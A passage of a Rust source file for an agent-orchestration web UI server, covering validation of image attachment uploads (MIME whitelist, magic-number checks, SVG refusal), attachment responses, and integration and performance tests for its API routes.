10876                    header::HeaderValue::from_static("no-cache"),
10877                );
10878                Ok(res)
10879            }
10880            Ok((mime, _)) => {
10881                tracing::warn!(
10882                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10883                    found.id
10884                );
10885                Ok(builtin_avatar(&found.id))
10886            }
10887            Err(e) => {
10888                tracing::warn!(
10889                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10890                    found.id
10891                );
10892                Ok(builtin_avatar(&found.id))
10893            }
10894        }
10895    })
10896    .await
10897}
10898
10899/// Validate an attachment upload's declared `Content-Type` and the bytes
10900/// themselves, returning the canonical mime on success.
10901///
10902/// Two checks, both required: the header has to name one of
10903/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10904/// simply never in the list, active content rather than a picture, the same
10905/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10906/// magic number has to agree. The second is what stops a mislabeled upload -
10907/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10908/// a declared type is a claim, not a fact, so it is never trusted alone.
10909fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10910    if data.len() > ATTACHMENT_MAX_BYTES {
10911        return Err(ApiError::bad_request(format!(
10912            "attachment is {} bytes, over the {} MiB limit",
10913            data.len(),
10914            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10915        ))
10916        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10917    }
10918    if data.is_empty() {
10919        return Err(ApiError::bad_request("attachment is empty"));
10920    }
10921    let declared = declared_mime(headers)?;
10922    match sniffed_mime(data) {
10923        Some(sniffed) if sniffed == declared => Ok(declared),
10924        Some(sniffed) => Err(ApiError::bad_request(format!(
10925            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10926        ))),
10927        None => Err(ApiError::bad_request(
10928            "the file's bytes do not match any accepted image format",
10929        )),
10930    }
10931}
10932
10933/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10934/// and nothing else - parameters like `; charset=` are stripped, but the
10935/// value itself is not otherwise interpreted.
10936fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10937    let raw = headers
10938        .get(header::CONTENT_TYPE)
10939        .and_then(|v| v.to_str().ok())
10940        .unwrap_or("")
10941        .split(';')
10942        .next()
10943        .unwrap_or("")
10944        .trim()
10945        .to_ascii_lowercase();
10946    ATTACHMENT_MIME_WHITELIST
10947        .iter()
10948        .find(|&&m| m == raw)
10949        .copied()
10950        .ok_or_else(|| {
10951            if raw == "image/svg+xml" {
10952                ApiError::bad_request(
10953                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10954                     not just a picture",
10955                )
10956            } else if raw.is_empty() {
10957                ApiError::bad_request("Content-Type is required for an attachment upload")
10958            } else {
10959                ApiError::bad_request(format!(
10960                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10961                     image/gif or image/webp"
10962                ))
10963            }
10964        })
10965}
10966
10967/// Identify an image by its magic number, independent of whatever
10968/// `Content-Type` claimed.
10969fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10970    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10971        Some("image/png")
10972    } else if data.starts_with(b"\xff\xd8\xff") {
10973        Some("image/jpeg")
10974    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10975        Some("image/gif")
10976    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10977        Some("image/webp")
10978    } else {
10979        None
10980    }
10981}
10982
10983/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10984/// display - see [`talk::Attachment::name`]'s doc on why it never
10985/// contributes to a path. A missing or blank header (curl without it, an
10986/// older front end) falls back to a generic name rather than refusing the
10987/// upload over a field that is cosmetic.
10988fn filename_header(headers: &HeaderMap) -> String {
10989    headers
10990        .get(FILENAME_HEADER)
10991        .and_then(|v| v.to_str().ok())
10992        .map(str::trim)
10993        .filter(|s| !s.is_empty())
10994        .unwrap_or("attachment")
10995        .to_owned()
10996}
10997
10998/// Every attachment `GET` response: the mime re-validated against the same
10999/// closed whitelist the upload route enforces - never the string trusted
11000/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11001/// cannot decide it knows better than the type we send. Unlike a panel asset
11002/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11003/// document renders inline, not agent-authored HTML in a sandboxed frame.
11004fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11005    let content_type = ATTACHMENT_MIME_WHITELIST
11006        .iter()
11007        .find(|&&m| m == mime)
11008        .copied()
11009        .unwrap_or("application/octet-stream");
11010    (
11011        [
11012            (header::CONTENT_TYPE, content_type),
11013            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11014        ],
11015        body,
11016    )
11017        .into_response()
11018}
11019
11020/// The configuration for a repository, read off the disk for this request.
11021///
11022/// Through [`blocking`] because discovery reads and merges several TOML files,
11023/// and because the alternative - caching it in [`Ui`] at startup - would mean
11024/// the operator's phone kept interviewing with a roster they had already
11025/// changed, with no way to reload it but restarting the server they are not
11026/// sitting in front of.
11027async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11028    let repo = repo.to_path_buf();
11029    blocking(move || {
11030        let (cfg, _) = Config::discover(&repo, None)?;
11031        Ok(cfg)
11032    })
11033    .await
11034}
11035
11036/// The one prefix rule, used for both runs and tasks: a leading match for a
11037/// full id, a trailing match for the short form an operator reads off a
11038/// report. Written here rather than borrowed from `queue::resolve_id` because
11039/// the UI needs the two failures as different status codes, and telling them
11040/// apart from an error message is not something to build a route on.
11041fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11042    let mut hits = ids
11043        .into_iter()
11044        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11045    match (hits.next(), hits.next()) {
11046        (Some(one), None) => Ok(one),
11047        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11048        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11049            "`{prefix}` matches more than one {what}, including {a} and {b}"
11050        ))),
11051    }
11052}
11053
11054#[cfg(test)]
11055mod tests {
11056
11057    #[test]
11058    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11059        let dir = tempfile::tempdir().unwrap();
11060        let store = ask::Questions::at(dir.path().join("questions"));
11061        let mut q = Question::new(
11062            "task".to_owned(),
11063            "conduct".to_owned(),
11064            "conduct".to_owned(),
11065            "choose".to_owned(),
11066            String::new(),
11067            vec!["keep".to_owned()],
11068        );
11069        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11070        q.say("why?").unwrap();
11071        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11072        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11073        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11074        store.put(&mut q).unwrap();
11075        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11076        assert_eq!(store.count_needs_owner(), 1);
11077        store.beat(&q.id, ask::WaiterKind::Deputy);
11078        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11079        assert_eq!(store.count_needs_owner(), 0);
11080        let mut stale = store.read_lease(&q.id).unwrap();
11081        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11082        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11083        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11084        assert!(view.deputy_exhausted);
11085        assert!(view.waiting_on_agent);
11086        assert_eq!(view.question.choices, ["keep"]);
11087        store.drop_lease(&q.id);
11088        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11089        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11090    }
11091
11092    #[test]
11093    fn holder_reads_the_lease_not_the_record() {
11094        let mut q = Question::new(
11095            "run".to_owned(),
11096            "implement".to_owned(),
11097            "impl-A".to_owned(),
11098            "which?".to_owned(),
11099            String::new(),
11100            Vec::new(),
11101        );
11102        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11103        q.cwd = Some("/tmp".to_owned());
11104        assert_eq!(holder_of(&q, None), Some("nobody"));
11105        let beat = |kind, ago: i64| ask::Lease {
11106            kind,
11107            pid: 1,
11108            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11109                .unwrap(),
11110        };
11111        let fresh = beat(ask::WaiterKind::Asker, 1);
11112        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11113        let daemon = beat(ask::WaiterKind::Daemon, 1);
11114        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11115        let stale = beat(ask::WaiterKind::Asker, 3600);
11116        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11117
11118        // A conductor question says "deputy" only while one is attached and
11119        // alive, and "nobody" - never silence - when nothing ever listened.
11120        let mut c = Question::new(
11121            "task".to_owned(),
11122            crate::conduct::NODE.to_owned(),
11123            "conduct".to_owned(),
11124            "which?".to_owned(),
11125            String::new(),
11126            Vec::new(),
11127        );
11128        assert_eq!(holder_of(&c, None), Some("nobody"));
11129        c.cwd = Some("/tmp".to_owned());
11130        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11131        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11132        let deputy = beat(ask::WaiterKind::Deputy, 1);
11133        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11134        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11135
11136        // A release-watch question: nobody until a deputy is attached.
11137        let mut r = Question::new(
11138            String::new(),
11139            crate::bump::NOTICE_NODE.to_owned(),
11140            "release-watch".to_owned(),
11141            "stuck?".to_owned(),
11142            String::new(),
11143            vec!["hold".to_owned()],
11144        );
11145        assert_eq!(holder_of(&r, None), Some("nobody"));
11146        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11147        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11148        // A choice-less bump notice is nobody's question at all.
11149        r.deputy = None;
11150        r.seat = "bump".to_owned();
11151        assert_eq!(holder_of(&r, None), None);
11152
11153        // A merge approval is the same: nobody until a deputy is attached
11154        // and alive, never a silent "no holder".
11155        let mut m = Question::new(
11156            "run".to_owned(),
11157            crate::land::APPROVAL_NODE.to_owned(),
11158            "land".to_owned(),
11159            "merge?".to_owned(),
11160            String::new(),
11161            Vec::new(),
11162        );
11163        assert_eq!(holder_of(&m, None), Some("nobody"));
11164        assert_eq!(
11165            holder_of(&m, Some(&fresh)),
11166            Some("asker"),
11167            "a live explicit wait is a listener even before a deputy is attached"
11168        );
11169        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11170        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11171        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11172        assert_eq!(holder_of(&m, None), Some("nobody"));
11173    }
11174
11175    fn stub_config() -> Config {
11176        // An explicit roster, so the result never depends on which agent CLIs
11177        // this machine has installed.
11178        Config {
11179            agents: vec![crate::config::AgentSpec {
11180                id: "stub".to_owned(),
11181                kind: AgentKind::Command,
11182                model: None,
11183                command: vec!["true".to_owned()],
11184                extra_args: Vec::new(),
11185                env: Default::default(),
11186                prompt_delivery: None,
11187                max_turn_secs: None,
11188            }],
11189            ..Config::default()
11190        }
11191    }
11192
11193    fn plain_question(seat: &str) -> Question {
11194        Question::new(
11195            String::new(),
11196            "n".to_owned(),
11197            seat.to_owned(),
11198            "s".to_owned(),
11199            String::new(),
11200            Vec::new(),
11201        )
11202    }
11203
11204    #[test]
11205    fn deputies_enabled_follows_the_config() {
11206        let on = stub_config();
11207        assert!(crate::deputy::can_start(Some(&on), ""));
11208        assert!(crate::deputy::can_start(Some(&on), "stub"));
11209        let mut off = on.clone();
11210        off.daemon.max_deputies = 0;
11211        assert!(!crate::deputy::can_start(Some(&off), ""));
11212        let mut empty = on;
11213        empty.agents.clear();
11214        assert!(!crate::deputy::can_start(Some(&empty), ""));
11215        assert!(!crate::deputy::can_start(None, ""));
11216    }
11217
11218    #[test]
11219    fn question_views_load_the_config_once() {
11220        let dir = TempDir::new().unwrap();
11221        let store = ask::Questions::at(dir.path().to_path_buf());
11222        let mut with_deputy = plain_question("b");
11223        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11224        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11225
11226        let calls = std::cell::Cell::new(0usize);
11227        let views = question_views(qs.clone(), &store, || {
11228            calls.set(calls.get() + 1);
11229            Some(stub_config())
11230        });
11231        assert_eq!(calls.get(), 1);
11232        assert_eq!(views.len(), 3);
11233        for (v, q) in views.iter().zip(&qs) {
11234            assert_eq!(
11235                v.deputies_enabled,
11236                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11237            );
11238        }
11239
11240        let views = question_views(qs, &store, || None);
11241        assert!(views.iter().all(|v| !v.deputies_enabled));
11242
11243        let calls = std::cell::Cell::new(0usize);
11244        let views = question_views(Vec::new(), &store, || {
11245            calls.set(calls.get() + 1);
11246            None
11247        });
11248        assert!(views.is_empty());
11249        assert_eq!(calls.get(), 0);
11250    }
11251
11252    use pretty_assertions::assert_eq;
11253    use serde_json::Value;
11254    use tempfile::TempDir;
11255    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11256
11257    use super::*;
11258    use crate::config::Config;
11259    use crate::queue::Source;
11260
11261    /// How many 10ms steps a settle loop takes before it calls a stall a
11262    /// stall - thirty seconds.
11263    ///
11264    /// These loops wait on real `sh` subprocesses, and the machine that runs
11265    /// the gate runs several suites at once, so a two-second budget was not
11266    /// waiting for the reply, it was racing the scheduler: two of these
11267    /// tests failed under that load with the turn simply not landed yet.
11268    /// This is a hang guard, not a latency assertion - every loop breaks the
11269    /// moment its condition holds, so a generous cap costs an idle machine
11270    /// nothing and still fails a genuine hang instead of hanging the suite.
11271    const SETTLE_STEPS: usize = 3_000;
11272
11273    /// A home with a queue and a runs directory, and a router serving it on
11274    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11275    /// dependency, not ours - so the tests drive a real socket, which has the
11276    /// side benefit of asserting the status line and content types the phone
11277    /// actually receives.
11278    struct Fixture {
11279        home: TempDir,
11280        addr: SocketAddr,
11281    }
11282
11283    impl Fixture {
11284        async fn start() -> Self {
11285            Self::with_loop(launch_idle).await
11286        }
11287
11288        /// A fixture whose loop is `launch`.
11289        async fn with_loop(launch: Launch) -> Self {
11290            let home = TempDir::new().expect("temp home");
11291            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11292            Self { home, addr }
11293        }
11294
11295        /// A fixture whose `ui.repo` is a real directory rather than the
11296        /// usual placeholder - for the routes that read config off it
11297        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11298        async fn with_repo(repo: PathBuf) -> Self {
11299            let home = TempDir::new().expect("temp home");
11300            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11301            Self { home, addr }
11302        }
11303
11304        /// As [`Fixture::with_repo`], with the machine-config file the
11305        /// settings screen reads and writes.
11306        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11307            let home = TempDir::new().expect("temp home");
11308            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11309            Self { home, addr }
11310        }
11311
11312        async fn serve(
11313            home: &FsPath,
11314            repo: PathBuf,
11315            launch: Launch,
11316            machine: Option<PathBuf>,
11317        ) -> SocketAddr {
11318            let queue = Queue::at(home.join("queue"));
11319            let runs = home.join("runs");
11320            std::fs::create_dir_all(&runs).expect("runs dir");
11321            let worktrees = home.join("wt").join("magi");
11322            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11323            let ui = Ui::new(
11324                queue,
11325                Questions::at(home.join("questions")),
11326                Talks::at(home.join("talks")),
11327                runs,
11328                home.to_path_buf(),
11329                repo,
11330            )
11331            .with_worktrees_root(worktrees)
11332            .with_machine_config(machine)
11333            .with_launch(launch);
11334            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11335                .await
11336                .expect("bind loopback");
11337            let addr = listener.local_addr().expect("local addr");
11338            tokio::spawn(async move {
11339                let router = ui
11340                    .router()
11341                    .layer(axum::middleware::from_fn(request_cost::observe));
11342                let _ = axum::serve(listener, router).await;
11343            });
11344            addr
11345        }
11346
11347        fn queue(&self) -> Queue {
11348            Queue::at(self.home.path().join("queue"))
11349        }
11350
11351        fn questions(&self) -> Questions {
11352            Questions::at(self.home.path().join("questions"))
11353        }
11354
11355        fn talks(&self) -> Talks {
11356            Talks::at(self.home.path().join("talks"))
11357        }
11358
11359        fn runs(&self) -> PathBuf {
11360            self.home.path().join("runs")
11361        }
11362
11363        async fn get(&self, path: &str) -> Res {
11364            request(self.addr, "GET", path, None).await
11365        }
11366
11367        /// The status and headers without the body, which is how the front end
11368        /// preflights a panel: a sandboxed frame is opaque to the parent
11369        /// document, so the only way to tell "no panel" from "a panel that
11370        /// rendered blank" is to ask before mounting.
11371        async fn head(&self, path: &str) -> Res {
11372            request(self.addr, "HEAD", path, None).await
11373        }
11374
11375        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11376            request(self.addr, "POST", path, body).await
11377        }
11378
11379        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11380            request_with(self.addr, "GET", path, None, extra).await
11381        }
11382
11383        async fn delete(&self, path: &str) -> Res {
11384            request(self.addr, "DELETE", path, None).await
11385        }
11386
11387        async fn put(&self, path: &str, body: &str) -> Res {
11388            request(self.addr, "PUT", path, Some(body)).await
11389        }
11390
11391        /// `POST` a raw body with its own headers - see [`request_bytes`].
11392        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11393            request_bytes(self.addr, path, headers, body).await
11394        }
11395    }
11396
11397    /// Real tracking refs exercise the successful discovery path (including
11398    /// extraction), rather than counting cheap failures on a placeholder repo.
11399    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11400        let tmp = TempDir::new().unwrap();
11401        let mut repos = Vec::new();
11402        for name in ["one", "two"] {
11403            let repo = tmp.path().join(name);
11404            let origin = tmp.path().join(format!("{name}.git"));
11405            std::fs::create_dir_all(&repo).unwrap();
11406            crate::git::git(&repo, &["init", "-b", "main"])
11407                .await
11408                .unwrap();
11409            std::fs::write(
11410                repo.join("magi.toml"),
11411                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11412            )
11413            .unwrap();
11414            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11415            crate::git::git(
11416                &repo,
11417                &[
11418                    "-c",
11419                    "user.name=fixture",
11420                    "-c",
11421                    "user.email=fixture@example.invalid",
11422                    "commit",
11423                    "-m",
11424                    "fixture",
11425                ],
11426            )
11427            .await
11428            .unwrap();
11429            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11430                .await
11431                .unwrap();
11432            crate::git::git(
11433                &repo,
11434                &["remote", "add", "origin", origin.to_str().unwrap()],
11435            )
11436            .await
11437            .unwrap();
11438            crate::git::git(&repo, &["push", "origin", "main"])
11439                .await
11440                .unwrap();
11441            crate::git::git(
11442                &repo,
11443                &[
11444                    "symbolic-ref",
11445                    "refs/remotes/origin/HEAD",
11446                    "refs/remotes/origin/main",
11447                ],
11448            )
11449            .await
11450            .unwrap();
11451            let (cfg, _) = Config::discover(&repo, None).unwrap();
11452            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11453            repos.push(repo);
11454        }
11455        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11456        (tmp, repos)
11457    }
11458
11459    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11460        let (tmp, repos) = performance_repositories().await;
11461        let machine = tmp.path().join("machine.toml");
11462        std::fs::write(&machine, "").unwrap();
11463        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11464        (tmp, repos, fx)
11465    }
11466
11467    fn seed_performance(
11468        fx: &Fixture,
11469        repos: &[PathBuf; 2],
11470        questions: usize,
11471        runs: usize,
11472        items: usize,
11473    ) {
11474        // Saving states directly never starts a run or changes MAGI_HOME.
11475        for i in fx.questions().list().len()..questions {
11476            let mut question = Question::new(
11477                "20261001-000000-0000".into(),
11478                "implement".into(),
11479                "impl-A".into(),
11480                format!("question {i}"),
11481                "context".into(),
11482                vec!["yes".into(), "no".into()],
11483            );
11484            question.id = format!("20261003-000000-{i:04x}");
11485            fx.questions().put(&mut question).unwrap();
11486        }
11487        for i in run_ids(&fx.runs()).len()..runs {
11488            write_run_repo(
11489                &fx.runs(),
11490                &format!("20261001-000000-{i:04x}"),
11491                RunStatus::Ready,
11492                repos[i % 2].to_str().unwrap(),
11493            );
11494        }
11495        for i in fx.talks().list().len()..items {
11496            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11497            let mut talk = fx.talks().get(&id).unwrap();
11498            talk.repo = repos[i % 2].clone();
11499            fx.talks().put(&mut talk).unwrap();
11500            let mut task = crate::queue::Task::new(
11501                format!("task {i}"),
11502                "instruction".into(),
11503                repos[i % 2].clone(),
11504                crate::queue::Source::Agent {
11505                    run: id,
11506                    node: crate::queue::CHAT_NODE.into(),
11507                },
11508            );
11509            task.id = format!("20261004-000000-{i:04x}");
11510            fx.queue().put(&mut task).unwrap();
11511            // Notices has a production retention cap; seed up to that cap.
11512            if i < crate::notices::CAP {
11513                Notices::at(fx.home.path().join("notifications"))
11514                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11515                    .unwrap();
11516            }
11517        }
11518        assert_eq!(fx.questions().list().len(), questions);
11519        assert_eq!(run_ids(&fx.runs()).len(), runs);
11520        assert_eq!(fx.talks().list().len(), items);
11521        assert_eq!(fx.queue().list().len(), items);
11522        assert_eq!(
11523            Notices::at(fx.home.path().join("notifications"))
11524                .list()
11525                .len(),
11526            items.min(crate::notices::CAP)
11527        );
11528    }
11529
11530    #[tokio::test]
11531    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11532        let home = TempDir::new().unwrap();
11533        let root = home.path().canonicalize().unwrap();
11534        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11535        let fx = Fixture { home, addr };
11536        let repo = root.as_path().join("archive-repo");
11537        std::fs::create_dir(&repo).unwrap();
11538        crate::git::git(&repo, &["init", "-b", "main"])
11539            .await
11540            .unwrap();
11541        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11542            .await
11543            .unwrap();
11544        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11545            .await
11546            .unwrap();
11547        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11548            .await
11549            .unwrap();
11550        std::fs::write(repo.join("source"), "base").unwrap();
11551        crate::git::git(&repo, &["add", "."]).await.unwrap();
11552        crate::git::git(&repo, &["commit", "-m", "base"])
11553            .await
11554            .unwrap();
11555        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11556        std::fs::write(repo.join("source"), "archived review").unwrap();
11557        crate::git::git(&repo, &["commit", "-am", "review"])
11558            .await
11559            .unwrap();
11560        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11561        let mut config = Config::default();
11562        config.graph.worktree_root = Some(root.as_path().join("copies"));
11563        let mut state = RunState::new(
11564            repo.clone(),
11565            "main".into(),
11566            base.clone(),
11567            "archive".into(),
11568            config,
11569        );
11570        state.id = "20260101-000000-ef05".into();
11571        state.status = RunStatus::Ready;
11572        state.save_under(root.as_path()).unwrap();
11573        let evidence =
11574            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11575                .await
11576                .unwrap();
11577        let base_evidence =
11578            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11579                .await
11580                .unwrap();
11581        let source = state.worktree_root().join("review-1");
11582        let mut contents = std::collections::BTreeMap::new();
11583        contents.insert(
11584            repo.join("logs/HEAD"),
11585            format!("{base} {head} fixture\n").into_bytes(),
11586        );
11587        let record = serde_json::json!({
11588            "version":1, "run":state.id, "source":source, "head":head,
11589            "evidence":evidence, "admin":{}, "admin_contents":contents,
11590            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11591        });
11592        std::fs::write(
11593            fx.runs()
11594                .join(&state.id)
11595                .join("artifacts/eviction-review-1.json"),
11596            serde_json::to_vec(&record).unwrap(),
11597        )
11598        .unwrap();
11599        std::fs::remove_dir_all(&repo).unwrap();
11600        let url = format!("/api/runs/{}/seat-evidence", state.id);
11601        let list = fx.get(&url).await;
11602        assert_eq!(list.status, 200, "{}", list.body);
11603        assert_eq!(list.json()[&head], "review-1");
11604        let patch = fx.get(&format!("{url}/{head}")).await;
11605        assert_eq!(patch.status, 200, "{}", patch.body);
11606        assert!(patch.body.contains("+archived review"));
11607        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11608        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11609        assert_eq!(fx.get(&url).await.status, 404);
11610        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11611    }
11612
11613    fn request_counts(res: &Res) -> (usize, usize) {
11614        assert_eq!(res.status, 200, "{}", res.body);
11615        (
11616            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11617            res.header("x-test-git").unwrap().parse().unwrap(),
11618        )
11619    }
11620
11621    #[tokio::test]
11622    async fn list_request_cost_is_independent_of_record_count() {
11623        let (_tmp, repos, fx) = performance_fixture().await;
11624        let mut previous = None;
11625        for n in [4, 60] {
11626            seed_performance(&fx, &repos, n, n, n);
11627            let mut costs = Vec::new();
11628            for (path, discoveries) in [
11629                ("/api/questions", 1),
11630                ("/api/talks", 0),
11631                ("/api/health", 0),
11632                ("/api/stats", 1),
11633            ] {
11634                // Equal cold extraction caches at both scales; this also
11635                // bounds first-request cost instead of only warmed requests.
11636                for repo in &repos {
11637                    let cache = repo.join(".git/magi/config");
11638                    if cache.exists() {
11639                        std::fs::remove_dir_all(cache).unwrap();
11640                    }
11641                }
11642                let cost = request_counts(&fx.get(path).await);
11643                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11644                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11645                assert!(
11646                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11647                    "{path}: {cost:?}"
11648                );
11649                costs.push(cost);
11650            }
11651            if let Some(previous) = previous {
11652                assert_eq!(costs, previous);
11653            }
11654            previous = Some(costs);
11655        }
11656        // runs reads shared row inputs and probes process liveness; queue
11657        // builds one blocker inventory; notifications reads its own store.
11658        // None discovers configuration or spawns git per item.
11659    }
11660
11661    /// The same handler path without transport, so the deterministic cause
11662    /// can also be checked in environments that prohibit binding sockets.
11663    #[tokio::test]
11664    async fn list_handler_cost_without_transport() {
11665        let (_tmp, repos) = performance_repositories().await;
11666        let fx = Fixture {
11667            home: TempDir::new().unwrap(),
11668            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11669        };
11670        let ui = Arc::new(
11671            Ui::new(
11672                fx.queue(),
11673                fx.questions(),
11674                fx.talks(),
11675                fx.runs(),
11676                fx.home.path().to_path_buf(),
11677                repos[0].clone(),
11678            )
11679            .with_worktrees_root(fx.home.path().join("wt")),
11680        );
11681        let mut previous = None;
11682        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11683            seed_performance(&fx, &repos, n, runs, items);
11684            let mut costs = Vec::new();
11685            for endpoint in ["questions", "talks", "health", "stats"] {
11686                for repo in &repos {
11687                    let cache = repo.join(".git/magi/config");
11688                    if cache.exists() {
11689                        std::fs::remove_dir_all(cache).unwrap();
11690                    }
11691                }
11692                let (_, cost) = request_cost::measure(async {
11693                    match endpoint {
11694                        "questions" => {
11695                            let _ = questions_list(State(ui.clone())).await.unwrap();
11696                        }
11697                        "talks" => {
11698                            let _ = talks_list(
11699                                State(ui.clone()),
11700                                Query(ListQuery {
11701                                    limit: None,
11702                                    ids: None,
11703                                }),
11704                                header::HeaderMap::new(),
11705                            )
11706                            .await
11707                            .unwrap();
11708                        }
11709                        "health" => {
11710                            let _ = health(State(ui.clone())).await.unwrap();
11711                        }
11712                        _ => {
11713                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11714                                .await
11715                                .unwrap();
11716                        }
11717                    }
11718                })
11719                .await;
11720                eprintln!("{endpoint} handler N={n}: {cost:?}");
11721                assert_eq!(
11722                    cost.0,
11723                    if matches!(endpoint, "talks" | "health") {
11724                        0
11725                    } else {
11726                        1
11727                    },
11728                    "{endpoint}"
11729                );
11730                assert!(
11731                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11732                    "{endpoint}: {cost:?}"
11733                );
11734                costs.push(cost);
11735            }
11736            if let Some(previous) = previous {
11737                assert_eq!(costs, previous);
11738            }
11739            previous = Some(costs);
11740        }
11741    }
11742
11743    #[tokio::test]
11744    async fn list_request_cost_scopes_do_not_mix() {
11745        let (_tmp, repos, fx) = performance_fixture().await;
11746        seed_performance(&fx, &repos, 10, 0, 10);
11747        let (questions, talks, notices) = tokio::join!(
11748            fx.get("/api/questions"),
11749            fx.get("/api/talks"),
11750            fx.get("/api/notifications")
11751        );
11752        assert_eq!(request_counts(&questions).0, 1);
11753        // Cached summaries perform no config discovery or git work, even
11754        // alongside the questions request that still discovers config.
11755        assert_eq!(request_counts(&talks), (0, 0));
11756        assert_eq!(request_counts(&notices), (0, 0));
11757    }
11758
11759    #[tokio::test]
